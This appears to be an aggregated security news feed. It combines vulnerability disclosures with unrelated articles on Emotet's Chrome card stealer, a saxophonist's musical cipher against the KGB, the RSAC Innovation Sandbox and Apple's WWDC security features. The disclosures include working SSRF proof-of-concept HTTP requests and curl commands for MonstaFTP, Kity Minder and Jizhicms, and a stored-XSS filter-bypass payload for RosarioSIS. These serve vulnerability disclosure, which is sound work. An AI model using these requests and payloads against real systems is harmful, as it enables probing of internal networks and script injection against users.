MonstaFTP v2.10.3 was discovered to contain a Server-Side Request Forgery (SSRF) via the function performFetchRequest at HTTPFetcher.php.

**SSRF vulnerability in performFetchRequest Function of HTTPFetcher.php File (MonstaFTP v2.10.3 version)****0x01 Affected version**

vendor: https://www.monstaftp.com/

version: v2.10.3

php version: 7.2.x

**0x02 Vulnerability description**

The vulnerable code is located in the performFetchRequest function of the application/api/file_fetch/HTTPFetcher.php file, which does not perform sufficient checksum on the source parameter, leading to a taint from the $context['source'] variable and enters the tainted function curl_setopt, which sends a request to the URL specified by the source parameter after the curl_exec function is executed, eventually leading to an SSRF vulnerability.

Although the vulnerability requires login authentication verification, but because the FTP/SFTP login here is able to login to our own FTP server, so the login field can pass the verification as long as it is set, so as to take advantage of the SSRF vulnerability. So it is equivalent to pre-authentication SSRF, which is more harmful!

private function performFetchRequest() {
    $fp = fopen($this\->tempSavePath, 'w+');
    $ch = curl\_init();
    curl\_setopt($ch, CURLOPT\_URL, $this\->fetchRequest\->getURL());
    curl\_setopt($ch, CURLOPT\_FILE, $fp);
    curl\_setopt($ch, CURLOPT\_FOLLOWLOCATION, true);
    curl\_setopt($ch, CURLOPT\_HEADERFUNCTION, array(&$this\->fetchRequest, 'handleCurlHeader'));
    $success = @curl\_exec($ch);
    $curlError = @curl\_error($ch);
    $effectiveUrl = curl\_getinfo($ch, CURLINFO\_EFFECTIVE\_URL);
    $httpCode = curl\_getinfo($ch, CURLINFO\_HTTP\_CODE);

    curl\_close($ch);
    fclose($fp);

Because the source parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

    POST /application/api/api.php HTTP/1.1
    Host: 172.16.119.130
    Content-Length: 275
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Origin: http://172.16.119.130
    Referer: http://172.16.119.130/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    request={"connectionType":"sftp","configuration":{"host":"172.16.119.130","remoteUsername":"zero","initialDirectory":"/tmp/","authenticationModeName":"Password","password":"123456","port":22},"actionName":"fetchRemoteFile","context":{"source":"http://172.16.119.1/flag.txt"}}
    

You can also use the following curl command to verify the vulnerability

curl -i -s -k -X $'POST' \\
    -H $'Host: 172.16.119.130' -H $'Accept: application/json, text/plain, \*/\*' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' -H $'Content-Length: 275' \\
    --data-binary $'request={\\"connectionType\\":\\"sftp\\",\\"configuration\\":{\\"host\\":\\"172.16.119.130\\",\\"remoteUsername\\":\\"zero\\",\\"initialDirectory\\":\\"/tmp/\\",\\"authenticationModeName\\":\\"Password\\",\\"password\\":\\"123456\\",\\"port\\":22},\\"actionName\\":\\"fetchRemoteFile\\",\\"context\\":{\\"source\\":\\"http://172.16.119.1/flag.txt\\"}}' \\
    $'http://172.16.119.130/application/api/api.php'

**0x03 Acknowledgement**

Ez Wang, W Xie, Yf Gao, Zh Wang, Lj Wu

CVE-2022-31827: CVE_Request/MonstaFTP_v2_10_3_SSRF.md at master · zer0yu/CVE_Request

Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: v1.3.5  
Test with PHP 7.2

The vulnerable code is located in the init function of the native-support/archive/src/ImageCapture.class.php file, which does not sufficiently validate the image parameter, leading to a taint introduced from the native-support/export.php file in the $_REQUEST['data'] variable in the native-support/export.php file and eventually enters the tainted function curl_init, which, after the curl_exec function is executed, sends a request to the URL specified by the image parameter, eventually leading to an SSRF vulnerability.

The function call path is as follows.

    file: native-support/export.php 
    code: $file = Parser::toXMind( $_REQUEST['data'] );
    
    file: native-support/archive/src/Parser.class.php
    code: return XMindParser::parse( htmlspecialchars( $source, ENT_NOQUOTES ), $previewImage );
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: $data = self::doParse( $sourceJSON );
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: 'topic' => self::parseTopic( $source, $attachments )
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: self::parseImage( $source, $attachments );
    
    file: native-support/archive/src/Parser.xmind.class.php
    code: $image = ImageCapture::capture( $source[ 'data' ][ 'image' ] );
    
    file: native-support/archive/src/ImageCapture.class.php
    code: $curl = self::init( $url );
    

The vulnerable function init

private static function init ( $url ) {

    $curl = curl\_init( $url );

    curl\_setopt( $curl, CURLOPT\_AUTOREFERER, true );
    curl\_setopt( $curl, CURLOPT\_FOLLOWLOCATION, true );
    curl\_setopt( $curl, CURLOPT\_RETURNTRANSFER, true );
    curl\_setopt( $curl, CURLOPT\_RETURNTRANSFER, true );

    // 尝试连接时间 10s
    curl\_setopt( $curl, CURLOPT\_RETURNTRANSFER, 10 \* 1000 );
    curl\_setopt( $curl, CURLOPT\_MAXREDIRS, 5 );
    curl\_setopt( $curl, CURLOPT\_TIMEOUT, 30 );

    return $curl;

}

Because the image parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

    POST /export.php HTTP/1.1
    Host: 172.16.119.1:81
    Content-Length: 64
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://172.16.119.1:81
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://172.16.119.1:81/export.php
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    type=xmind&data={"data":{"image":"http://172.16.119.1/testpoc"}}
    

You can also use the following curl command to verify the vulnerability

    curl -i -s -k -X $'POST' \
        -H $'Host: 172.16.119.1:81' -H $'Content-Length: 64' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Connection: close' \
        --data-binary $'type=xmind&data={\"data\":{\"image\":\"http://172.16.119.1/testpoc\"}}' \
        $'http://172.16.119.1:81/export.php'

CVE-2022-31830: [Vuln] SSRF vulnerability in `init` Function of `ImageCapture.class.php` File (Kity Minder v1.3.5 version) · Issue #345 · fex-team/kityminder

Jizhicms v2.2.5 was discovered to contain a Server-Side Request Forgery (SSRF) vulnerability via the Index function in app/admin/c/PluginsController.php.

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: 2.2.5  
Test with PHP 7.2

The vulnerable code is located in the index function of the app/admin/c/PluginsController.php file, which fails to validate the webapi parameter, leading to a taint introduced from the $webapi variable into the tainted function curl_setopt, and after the curl_exec function is executed, it sends a request to the URL specified by the webapi parameter, eventually leading to an SSRF vulnerability. However, this vulnerability is triggered in two stages, first by passing the set parameter to reset the webapi section of the plugins_config field in sysconfig. The SSRF vulnerability is then triggered when the function is triggered again and without any parameter values.

public function index(){
	//检查更新链接是否可以访问
	$webapi = $this\->webconf\['plugins\_config'\];
	if(!$webapi){
		$webapi = 'http://api.jizhicms.cn/plugins.php';
		if(!M('sysconfig')->find(\['field'\=>'plugins\_config'\])){
			M('sysconfig')->add(\['title'\=>JZLANG('插件配置'),'field'\=>'plugins\_config','type'\=>2,'data'\=>$webapi,'typeid'\=>0\]);
			setCache('webconfig',null);
		}
	}
	if($this\->frparam('set')){
        if($this\->admin\['isadmin'\]!=1){
            JsonReturn(\['code'\=>1,'msg'\=>JZLANG('非超级管理员无法设置！')\]);
        }
		$webapi = $this\->frparam('webapi',1);
		M('sysconfig')->update(\['field'\=>'plugins\_config'\],\['data'\=>$webapi\]);
		setCache('webconfig',null);
		JsonReturn(\['code'\=>0,'msg'\=>'配置成功！'\]);
	}
	$this\->webapi = $webapi;
	$api = $webapi.'?version='.$this\->webconf\['web\_version'\];
	$ch = curl\_init();
	$timeout = 5;
	curl\_setopt($ch,CURLOPT\_FOLLOWLOCATION,1);
	curl\_setopt($ch,CURLOPT\_RETURNTRANSFER,1);
	curl\_setopt($ch, CURLOPT\_HEADER, false);
	curl\_setopt ($ch, CURLOPT\_CONNECTTIMEOUT, $timeout);
	curl\_setopt($ch,CURLOPT\_URL,$api);
	$res = curl\_exec($ch);
	$httpcode = curl\_getinfo($ch,CURLINFO\_HTTP\_CODE);
	curl\_close($ch);

Because the webapi parameters are not limited, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

PoC stage 1: the value of the webapi to set

    POST /index.php/admins/Plugins/index.html HTTP/1.1
    Host: 172.16.119.130
    Content-Length: 51
    Accept: application/json, text/javascript, */*; q=0.01
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://172.16.119.130
    Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
    Connection: close
    
    set=1&webapi=http%3A%2F%2F127.0.0.1%2Fwebapipoc.php
    

You can also use the following curl command to verify the vulnerability as PoC Stage 1

    curl -i -s -k -X $'POST' \
        -H $'Host: 172.16.119.130' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Connection: close' -H $'Content-Length: 51' \
        -b $'think_var=zh-cn; PHPSESSID=g3e5nupqb19trokgr9msul8d9l' \
        --data-binary $'set=1&webapi=http%3A%2F%2F127.0.0.1%2Fwebapipoc.php' \
        $'http://172.16.119.130/index.php/admins/Plugins/index.html'
    

PoC stage 2:

    GET /index.php/admins/Plugins/index.html HTTP/1.1
    Host: 172.16.119.130
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: think_var=zh-cn; PHPSESSID=lkbci4j8clqc6de6rhpn9fdk31
    Connection: close
    

Eventually we can see the corresponding request in the apache server logs, which proves that the SSRF vulnerability can be triggered

CVE-2022-31393: [Vuln] SSRF vulnerability in `index` Function of `PluginsController.php` File (2.2.5 version) · Issue #76 · Cherry-toto/jizhicms

**According to the CVSS metric, the attack complexity is high (AC:H). What does that mean for this vulnerability?**

Successful exploitation of this vulnerability requires an attacker to win a race condition.

CVE-ID

Learn more at National Vulnerability Database (NVD)

• CVSS Severity Rating • Fix Information • Vulnerable Software Versions • SCAP Mappings • CPE Information

Description

\*\* RESERVED \*\* This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided.

References

**Note:** References are provided for the convenience of the reader to help distinguish between vulnerabilities. The list is not intended to be complete.

Assigning CNA

N/A

Date Record Created

**20211216**

Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

Phase (Legacy)

Assigned (20211216)

Votes (Legacy)

Comments (Legacy)

Proposed (Legacy)

N/A

This is a record on the CVE List, which provides common identifiers for publicly known cybersecurity vulnerabilities.

Search CVE Using Keywords:  

You can also search by reference using the CVE Reference Maps.

For More Information:  CVE Request Web Form (select "Other" from dropdown)

CVE-2022-22021: Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

Image Source: Toptal
The notorious Emotet malware has turned to deploy a new module designed to siphon credit card information stored in the Chrome web browser.
The credit card stealer, which exclusively singles out Chrome, has the ability to exfiltrate the collected information to different remote command-and-control (C2) servers, according to enterprise security company Proofpoint, which

Image Source: Toptal

The notorious Emotet malware has turned to deploy a new module designed to siphon credit card information stored in the Chrome web browser.

The credit card stealer, which exclusively singles out Chrome, has the ability to exfiltrate the collected information to different remote command-and-control (C2) servers, according to enterprise security company Proofpoint, which observed the component on June 6.

The development comes amid a spike in Emotet activity since it was resurrected late last year following a 10-month-long hiatus in the wake of a law enforcement operation that took down its attack infrastructure in January 2021.

Emotet, attributed to a threat actor known as TA542 (aka Mummy Spider or Gold Crestwood), is an advanced, self-propagating and modular trojan that's delivered via email campaigns and is used as a distributor for other payloads such as ransomware.

As of April 2022, Emotet is still the most popular malware with a global impact of 6% of organizations worldwide, followed by Formbook and Agent Tesla, per Check Point, with the malware testing out new delivery methods using OneDrive URLs and PowerShell in .LNK attachments to get around Microsoft's macro restrictions.

The steady growth in Emotet-related threats is substantiated further by the fact that the number of phishing emails, often hijacking already existing correspondence, grew from 3,000 in February 2022 to approximately 30,000 in March targeting organizations in various countries as part of a mass-scale spam campaign.

Stating that Emotet activity have "shifted to a higher gear" in March and April 2022, ESET said that detections jumped a 100-fold, registering a growth of over 11,000% during the first four months of the year when compared to the preceding three-month period from September to December 2021.

Some of the common targets since the botnet's resurrection have been Japan, Italy, and Mexico, the Slovak cybersecurity company noted, adding the biggest wave was recorded on March 16, 2022.

"The size of Emotet's latest LNK and XLL campaigns was significantly smaller than those distributed via compromised DOC files seen in March," Dušan Lacika, senior detection engineer at Dušan Lacika, said.

"This suggests that the operators are only using a fraction of the botnet's potential while testing new distribution vectors that could replace the now disabled-by-default VBA macros."

The findings also come as researchers from CyberArk demonstrated a new technique to extract plaintext credentials directly from memory in Chromium-based web browsers.

"Credential data is stored in Chrome's memory in cleartext format," CyberArk's Zeev Ben Porat said. "In addition to data that is dynamically entered when signing into specific web applications, an attacker can cause the browser to load into memory all the passwords that are stored in the password manager."

This also includes cookie-related information such as session cookies, potentially allowing an attacker to extract the information and use it to hijack users' accounts even when they are protected by multi-factor authentication.

Found this article interesting? Follow THN on Facebook, Twitter __ and LinkedIn to read more exclusive content we post.

New Emotet Variant Stealing Users' Credit Card Information from Google Chrome

Using a custom encryption scheme within music notation, Merryl Goldberg and three other US musicians slipped information to Soviet performers and activists known as the Phantom Orchestra.

In 1985, saxophonist Merryl Goldberg found herself on a plane to Moscow with three fellow musicians from the Boston Klezmer Conservatory Band. She had carefully packed sheet music, reeds, and other woodwind supplies, along with a soprano saxophone, to bring into the USSR. But one of her spiral-bound notebooks, lined with staves for hand-notating music, contained hidden information.

Courtesy of Merryl Goldberg

Courtesy of Merryl Goldberg

Using a code she had developed herself, Goldberg had obscured names, addresses, and other details the group would need for their trip in handwritten compositions that looked, to an untrained eye, like the real melodies she’d written on other pages of the book. Goldberg and her colleagues didn’t want to give Soviet officials details of who they planned to see and what they planned to do on their trip. They were going to meet the Phantom Orchestra.

The group was a dissident ensemble that Goldberg describes as an amalgamation of Jewish refuseniks (Jews who were barred from emigrating out of the USSR), Christian activists, and Helsinki monitors—watchdogs who tracked Soviet compliance with the 1975 Helsinki Accords. The Americans’ trip was funded and coordinated by the nonprofit Action for Soviet Jewry (now Action for Post-Soviet Jewry), which works on humanitarian relief in the former Soviet Union and was focused on helping Soviet Jews emigrate to Israel and the United States. 

The trip was a rare and special opportunity for American and Soviet players to meet in the USSR and make music together. It was also an opportunity for the American musicians to smuggle information about aid efforts and plans to the Phantom Orchestra, and for the ensemble to send updates out, including details about individuals looking to escape the Soviet Union.

Courtesy of Merryl Goldberg

Goldberg and her colleagues, all of whom are Jewish, traveled to Moscow separately in two pairs to make it less likely that they would arouse suspicion as a group. They had received training on how to react to questioning and been told to expect surveillance, even run-ins with Soviet officials, throughout their trip. But first Goldberg needed to get her notebook past border control. 

“When we arrived, we were immediately pulled aside, and they went through everything in our luggage, to the point of unwrapping Tampax. It was crazy,” says Goldberg, who is presenting about the experience and her musical code at the RSA security conference in San Francisco today. “With my music, they opened it up and there were some real tunes in there. If you’re not a musician, you wouldn’t know what’s what. They went page by page through everything—and then they handed it back.”

Goldberg says that while the code worked and Soviet officials didn’t confiscate their music, they did interrogate all four travelers about what they planned to do while in the USSR. “We were brought into a room with a big burly guy who banged on the table and yelled at us,” remembers Goldberg, now a music education professor at California State University, San Marcos.

Musical note names span the letters A to G, so they don’t provide a full alphabet of options on their own. To create the code, Goldberg assigned letters of the alphabet to notes in the chromatic scale, a 12-tone scale that includes semi-tones (sharps and flats) to expand the possibilities. In some examples, Goldberg wrote only in one musical range, known as treble clef. In others, she expanded the register to be able to encode more letters and added a bass clef to extend the range of the musical scale. These details and variations also added verisimilitude to her encoded music. 

For numbers, Goldberg would simply write them between the staves, where sometimes you might see chord symbols. She also added other characteristics of composition, like rhythms (half notes, quarter notes, eighth notes, whole notes), key signatures, tempo markings, and articulation indicators like slurs and ties. Most of these were there to make the music look more legitimate, but some doubled as coded supplements to the letters hidden in the music notes. She even occasionally drew tiny diagrams that could be mistaken for charts to remind herself of where a meeting place was located or how to deliver something. 

While someone could technically have played the code as music, it would have sounded less like a tune and more like a cat walking across piano keys.

“I picked a note to start, and then I created the alphabet from there. Once you know it, it ends up being pretty easy to write things. I taught my friends on the trip the code, too,” Goldberg says. “We used it in order to take in people’s addresses and other information we would need to find them. And we coded things while we were there so we would be able to take out some information about people and their efforts to emigrate, as well as details we hoped could help other people ask to leave.”

The US musicians got their bearings in Moscow before heading to Tbilisi, the capital of Georgia. There and on their next stop in Yerevan, the capital of Armenia, they successfully met members of the Phantom Orchestra, many of whom spoke some English, and spent time getting to know each other, playing music together, and even staging small, impromptu concerts.

During eight days of travel, the musicians were tailed constantly by Soviet agents and were repeatedly stopped for questioning. Goldberg says that members of the Phantom Orchestra, all of whom faced similar treatment in their daily lives, gave her and her colleagues advice and encouragement. When the Americans would express concerns that their presence was endangering the activists, Goldberg says the Phantom Orchestra members were resolute about the importance of spending time together. She adds, though, that some of the activists were later arrested and even beaten, because of the interactions.

“On the second night, we were playing together and the KGB came in and everything got shut down. The electricity was turned off; it was a scary situation,” Goldberg says. “And yet, when we’re playing music no one can take away that sense of freedom and empowerment. Playing together and communicating with people through music is like nothing else. I was amazed by the strength it brought the people there. Music can be very comforting, but it also conveys a sense of feeling powerful.”

After their time in Yerevan, the American musicians had planned to go to Riga, the capital of Latvia, and then to Leningrad, now St. Petersburg in Russia. Finally, they were set to stop in Paris before returning to the United States. Instead, they were stopped and questioned again. The musicians were supposed to be placed under house arrest in Yerevan, but Goldberg says that Armenian officials bristled at the KGB intrusion and let them continue their trip. Eventually, though, the musicians were picked up and escorted back to Moscow, where Soviet agents confiscated their passports. Goldberg says the group was driven around Moscow for several hours, perhaps as a scare tactic, before finally being allowed to stay together in a dormitory room guarded by young Soviet men with machine guns.

Courtesy of Merryl Goldberg

“At that point, you’re thinking they’re going to take us to Siberia or something,” she says. “We were super freaked out. So we kept playing music for each other that night. And we played a beloved Russian folk tune, but out of tune, to annoy the young soldier outside our door. It gave us a sense of humor and empowerment.”

Finally, officials said the group would be deported to Sweden. They were heavily guarded and brought to a plane that had come from Sweden and was going to return without passengers. While officials searched their possessions again before letting them on the plane, no one ever flagged the sheet music. Goldberg points out that she even got the film from her camera back, perhaps thanks to a sympathizer.

“They were given no reason for their expulsion, and US officials are still waiting for information from the Soviet Foreign Ministry,” Reuters reported in a wire about the situation on May 31, 1985. “The spokesman said the expulsion appeared to be linked to their meeting with … Georgian dissidents.”

Goldberg says that while she later learned that some of the Soviet activists faced consequences for the visit, some of the people the musicians met on the trip were eventually able to permanently leave the USSR. She notes that while her musical code wouldn’t have been very difficult to crack if someone were focused on it, the obfuscation served its purpose, making it both an elegant and harmonious encryption scheme.

How a Saxophonist Tricked the KGB by Encrypting Secrets in Music

Spirits were high at the return of the in-person contest, which kicked off by bringing last year's virtual event winner on stage.

RSA CONFERENCE 2022 – San Francisco – At the Moscone Center on Monday, RSA Conference program committee chair Hugh Thompson's happiness was palpable. He told a cute story about his kids learning to hack during the COVID-19 lockdown and exulted in holding the Innovation Sandbox competition in person.

"You will not be able to walk out of this place today without being so excited about the kinds of innovation that are happening in security today," Thompson said.

At the in-person 2022 Innovation Sandbox, representatives from 10 cybersecurity startups made their case for having the most innovative technology in the sector. Each finalist had three minutes to pitch their tech to a panel of experienced judges. The judges were Dorit Dor, chief product officer of Check Point Software; Paul Kocher, independent researcher and founder of Cryptography Research (who Thompson called the "Simon Cowell of the judging panel"); Niloo Razi Howe, senior operating partner at Energy Impact Partners; Shlomo Kramer, co-founder and CEO of Cato Networks; and Christopher Young, executive VP of business development, strategy, and ventures at Microsoft.

Thompson brought Dor and Howe to the stage to discuss the judges' deliberations and announce the winner. He tried to gin up some good-natured drama by asking about altercations and pointing out the judges' lack of obvious injuries.

"There was a big dispute," Dor acknowledged, but Howe assured him, "We're not bloodied or bruised."

Both Howe and Dor had high praise for all 10 companies. "There are many good technologies out there, and it was not an easy selection," Dor said.

Added Howe: "There was conversation about every single company. The top 10 are really fantastic, solving really important problems."

First Thompson announced the top two: Talon Cyber Security and BastionZero. Ofer Ben Noon, co-founder and CEO of Talon, and Shannon Goldberg, CEO of BastionZero, shook hands with everyone. Goldberg even hugged Noon.

Dor called Talon's custom browser portal a "legit alternative that brings simplicity and manageability" for organizations with distributed workforces. Howe praised BastionZero for tackling the "really important problem of management of sessions connecting into the infrastructure."

But in the end, there could be only one winner — and it was Talon.

Here's how the presentations went down.

**The 10 Contestants**

The first contestant was Leonid Belkind, CTO of Torq, which Thompson described as "no-code automation for security teams." Belkind ran through his spiel in exactly three minutes "to the second," Thompson marveled.

The first judge question was from Kocher, who asked, "If someone isn't technical enough to write code, how are they going to understand what they're going to screw up with their automation?" Kramer asked about departments that don't want to collaborate with security teams, while Howe pointed out that in the crowded no-code sector, Torq would need to displace an existing contender.

Next up was Ben Noon, whose company's tagline is "solving security for hybrid work and unmanaged devices." He made a compelling case, saying, "Your browser is your front door," and it's been left open. The company built a secure corporate portal in Chromium with a user experience like Google Chrome and a backend that provides visibility and malware protection.

Then Sevco Security co-founder and CEO J.J. Guy presented for his company, "the starting point for all of your security activities." The company's tech aims to make a complete inventory of all devices connected to an organization to improve asset management.

The fourth contestant was Giora Engel, CEO and founder of Neosec, which is "reinventing API security by bringing XDR techniques and true behavioral analytics." His company addresses what he calls "the API blindspot" — B2B APIs, which are overlooked while people address B2C concerns.

Vladi Sandler represented Lightspin, which sells "graph-based cloud security built by and for cloud engineers." Refreshingly, the CEO mentioned 50% female representation on staff as a differentiating factor. Kocher tried to earn his Simon Cowell rep by saying, "So on Amazon's website I had to turn off One-Click ordering because I kept getting the wrong stuff. You claim on your website that in one click, you can remediate problems. Should I be scared by that?" Sandler rejoined that he trusts his team's skills, and Thompson gently ribbed Kocher about his Amazon problem afterward.

David McCaw co-founded Dasera, which is "helping cloud-first organizations operationalize data governance," according to its tagline. "We think DataGovOps is going to be the next revolution and finally solve the data challenges we've been facing for a long time," he asserted.

Cycode, which provides "complete software supply chain security," was represented by CEO and co-founder Lior Levy. Dor dropped a judge's question that brought laughs to the room: "How do you convince developers to fix their code?" Levy responded that his company helps developers implement bug fixes within their existing workflows and adds in automation "so they don't get frustrated."

"Bringing incident response into the cloud era" is Cado Security. CEO and co-founder James Campbell compared the manual process of investigating and responding to cloud incidents to the tedious procedure for creating a mix tape (Gen X represent).

"Is data collection happening before an attack or after an attack?" Kramer asked. "Is it part of the investigation, or is it part of the ongoing process?" The answer was that it depends on which services a customer uses.

Goldberg showed up to talk about her company BastionZero, which says it is "redefining zero trust for access to cloud infrastructure." Thompson asked Kocher, who co-created the SSL protocol, to ask a question. He obliged by asking whether organizations should use BastionZero or the strong encryption of a YubiKey to replace passwords.

Goldberg answered, "You should use us, for sure, absolutely," which again brought laughs, but she continued by saying that the separate authentication path could include things like YubiKeys.

Araali Networks, whose tagline was "surviving intrusions in cloud-native environments," closed out the contest with co-founder and CEO Abhishek Singh. The judges asked several technical questions about how the system handles various situations and configurations, which Singh handled ably.

"It works out of the box for Google, Amazon, and Azure," he assured Microsoft's Young. "Any system that works with Linux ... is ready to work with us."

**In-Person Do-Over for Apiiro**

    

Source: Screen-grab from RSA Conference

One of the most poignant moments came at the beginning of the show: Thompson brought up the winner of the 2021 Innovation Sandbox, which was held virtually, so that he could have his in-person moment of glory. Idan Plotnik, co-founder of Apiiro, shook Thompson's hand and told him his company had increased its revenue by 398% in the past year.

"Everything changed," Plotnik said.  

The 10 finalists, in alphabetical order, were:

1.  Araali Networks
2.  BastionZero
3.  Cado Security
4.  Cycode
5.  Dasera
6.  Lightspin
7.  Neosec
8.  Sevco Security
9.  Talon Cyber Security
10.  Torq

For more about each of these companies, read our contest preview.

Talon Grasps Victory at a Jubilant RSAC Innovation Sandbox

Cross-site Scripting (XSS) - Stored in GitHub repository francoisjacquet/rosariosis prior to 9.0.

**Description**

Website does incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. This fix for this bug https://huntr.dev/bounties/dcf87c0b-6188-4817-8798-ef1e2581b15a/ can be bypassed using bellow payload

    jAvAsCrIpT:alert(origin)
    

**Steps to reproduce \[it works on Firefox (not in chromium based browsers)\]**

1.Go to https://www.rosariosis.org/demonstration/ and login with administrator account

2.Go to https://www.rosariosis.org/demonstration/Modules.php?modname=Resources/Resources.php

3.Create new link with content jAvAsCrIpT:alert(origin)

4.Click the link and observe a pop up

**Image POC**

https://drive.google.com/file/d/11F1mjqytYIgmMVtOEC4EbOHhvVi0pEPh/view?usp=sharing

https://drive.google.com/file/d/1dGPRWE6KRf2bfOezRblbWtHAwM1P29iL/view?usp=sharing

**Impact**

User clicking the link can be affected by malicious javascript code created by the attacker.

CVE-2022-1997: Bypass filter - Stored XSS in Resources  in rosariosis

Passkeys, Safety Check, and Private Access Tokens demonstrated during week-long virtual conference

Passkeys, Safety Check, and Private Access Tokens demonstrated during week-long virtual conference

The 2022 edition of Apple’s Worldwide Developers Conference (WWDC) kicked off this week, with numerous security and privacy developments placed front and center among the firm’s mobile and desktop platforms.

As has become tradition, this year’s WWDC offered a glimpse into Apple’s product and feature pipeline for the coming months.

On Monday (June 6), attendees were given a first look at the redesigned MacBook Air and the updated 13-inch MacBook Pro powered by the M2 chip, along with new features coming to iOS 16, iPadOS 16, macOS Ventura, and watchOS 9.

**What’s new in Safari?**

Apple’s Safari browser – which is now thought to have overtaken Chrome as the most popular mobile browser in North America – will soon include several security and privacy enhancements designed to help protect users and open up new opportunities for developers.

“With both of the new Cross Origin Opener Policy and Cross Origin Embedder Policy HTTP response headers, your site can opt in to process isolation, which means your site will run in its own dedicated webContent process,” said Kendall Bagley, software engineer on the Safari team.

**DON’T MISS** HTTP/3 evolves into RFC 9114 – a security advantage, but not without challenges

“Our second security enhancement also involves HTTP headers, with our improved support for Content Security Policy Level 3. CSP provides enhanced security control over your loading content and mitigates risk of cross-site scripting \[XSS\] and other vulnerabilities.”

Check out the Safari 16 beta release notes for more information.

WWDC22 attendees watch the unveiling of iOS 16

**Introducing Passkeys**

Garrett Davidson of Apple’s authentication experience team took to the virtual stage at WWDC22 to showcase Passkeys, the company’s “next-generation authentication technology”.

“Passwords are really hard to use securely,” Davidson explained. “All of us know we’re supposed to create strong, unique passwords for every account, but not many people actually do.”

He added: “As you’re designing your apps and websites, there’s this constant trade-off between keeping accounts secure and designing a good experience. And even if your apps and websites do everything right, issues like phishing and password reuse can still lead to account compromise.”

Read more of the latest Apple security news

To tackle this, Passkeys – which will come bundled with the upcoming macOS Ventura and iOS 16 – creates a unique, cryptographically strong key pair for user accounts and stores it in iCloud Keychain so it syncs and works across all devices.

Once the pairing has been created, any future visit to the app or website sign-in form will show the ‘Passkey’ option in the QuickType bar. The user simply needs to tap the option, or use Touch ID, and they are signed in.

Davidson said: “With Passkeys, not only is the user experience better than a password, but also entire categories of security problems, like weak and reused credentials, credential leaks, and phishing, are just not possible anymore. And they are so easy to use.”

Visit Apple’s technical documentation page for implementation information.

**Safety Check**

Also new for Apple devices this year is a new privacy tool called Safety Check, which aims to help users whose personal safety might be at risk from domestic or intimate partner violence.

Designed to allow users to quickly remove all device access that may have granted to others, Safety Check includes an emergency reset that helps users easily sign out of iCloud on all their other devices, reset privacy permissions, and limit messaging to just the device in their hand.

The service also helps users understand and manage which people and apps they’ve given access to.

**Replacing CAPTCHAs**

That’s not all from WWDC22, as two additional privacy and security tools are due to be showcased later this week.

On Wednesday (June 8), the Apple team will demonstrate Private Access Tokens. This new technology is being marketed as a “powerful alternative” to CAPTCHA challenges that help the identification of HTTP requests from legitimate devices without compromising users’ identity.

“We’ll show you how your app and server can take advantage of this tool to add confidence to your online transactions and preserve privacy,” Apple said.

**YOU MIGHT ALSO LIKE** Popular websites leaking user email data to web tracking domains

Lastly, June 10 will see Apple showcase the latest ways to ensure that DNS – the foundation of internet addressing – is secure within an application.

“Learn how to authenticate DNS responses in your app with DNSSEC and enable DNS encryption automatically with Discovery of Designated Resolvers (DDR),” Apple said in its presentation teaser this week.

WWDC22 continues through June 10. Check out the complete list of sessions for further information.

**READ MORE** Google showers top cloud security researchers with kudos and cash

Tag

#chrome